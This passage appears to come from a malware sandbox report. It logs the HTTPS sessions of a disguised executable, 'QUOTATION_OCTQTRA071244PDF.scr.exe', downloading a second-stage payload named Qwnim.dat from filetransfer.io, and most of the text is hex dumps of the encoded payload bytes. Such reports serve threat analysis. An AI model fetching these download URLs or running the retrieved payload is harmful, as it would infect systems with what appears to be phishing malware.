#h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:23:45 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49872	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:47 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:48 UTC	1074	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=q1525er9rci4e4u25q7a19bco0; expires=Fri, 18-Oct-2024 09:23:48 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/goqkE17IMIu9 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uhNUw53TByPLt6ipFfiRscDmJ1etNusJdat%2FNZyIYsB0vAIxEUd%2FioYxzx%2FIxmI5OJgAV9RbHn4OP8mZNnNEpNPh%2FR%2Fea6r42upag3iTxIKNll%2BcE%2BHu9UyoEXcopDrVrEw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d807f9e4387-EWR
2024-10-04 09:23:48 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 67 6f 71 6b 45 31 37 49 4d 49 75 39 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/goqkE17IMIu9">Please click here to continue</a>.</p>
2024-10-04 09:23:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49878	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:49 UTC	74	OUT	GET /storage/download/goqkE17IMIu9 HTTP/1.1 Host: s23.filetransfer.io
2024-10-04 09:23:49 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:23:49 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=428b89ecaeda6b38b16ae16b5dbb3d44; expires=Fri, 18-Oct-2024 09:23:49 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3bBEjW7JNCN0uvCgvb0me%2FCz7bm1Y1huxWQfHuH9Whxtz1cMcVohSlw2TFVZp3zDstSTOWFW%2FoH6z5HagBBLK3keRNkhMqyVGLx%2FTrT0u%2FXNxNuEDBc2xPI5eXWTUqA%2FbDAWI%2FsM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41d88cb8e4346-EWR
2024-10-04 09:23:49 UTC	343	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 Data Ascii: GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 Data Ascii: p&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 Data Ascii: IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa Data Ascii: lBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 Data Ascii: /ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:23:49 UTC	1369	IN	Data Raw: 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a Data Ascii: dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49896	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:53 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:54 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:23:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=mp1l9qmaq01sb91nkql3e4ucs5; expires=Fri, 18-Oct-2024 09:23:54 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/C8OPC9MoIN8L cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=esnWuv1sJeQ3EhELSRwuecpZ6wlJSmcWKDqIvqxGjZAm69FNKgKDS8ELbjTSsYKR5U%2FJIMoT%2B5B4eT0TuS2Dp17Dobr%2FYJ3hPhRL7KdHK8HaMSVPk93dtJMq5fa%2BZD2%2BsJ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41da5d9c87c7c-EWR
2024-10-04 09:23:54 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 43 38 4f 50 43 39 4d 6f 49 4e 38 4c 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/C8OPC9MoIN8L">Please click here to continue</a>.</p>
2024-10-04 09:23:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49906	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:23:55 UTC	98	OUT	GET /storage/download/C8OPC9MoIN8L HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:23:55 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:23:55 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=d7164351594d28c647e16121fa4f437b; expires=Fri, 18-Oct-2024 09:23:55 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C0mGouq6PUHqPItpViT%2FZ6%2Fz%2FYeMDXxj4LXngo%2BgDE9aqdcSpHvVQ7O9pe0vuflEegrlH8ONDvUOA9cXsn%2Fazu2aH0W6HcRfd9pUvKxNJdd7HsrRAjH%2Bs5FBLo%2FZPp5FFwgwHWPs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41dade85c4234-EWR
2024-10-04 09:23:55 UTC	341	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 Data Ascii: IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEp
2024-10-04 09:23:55 UTC	1369	IN	Data Raw: f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 Data Ascii: 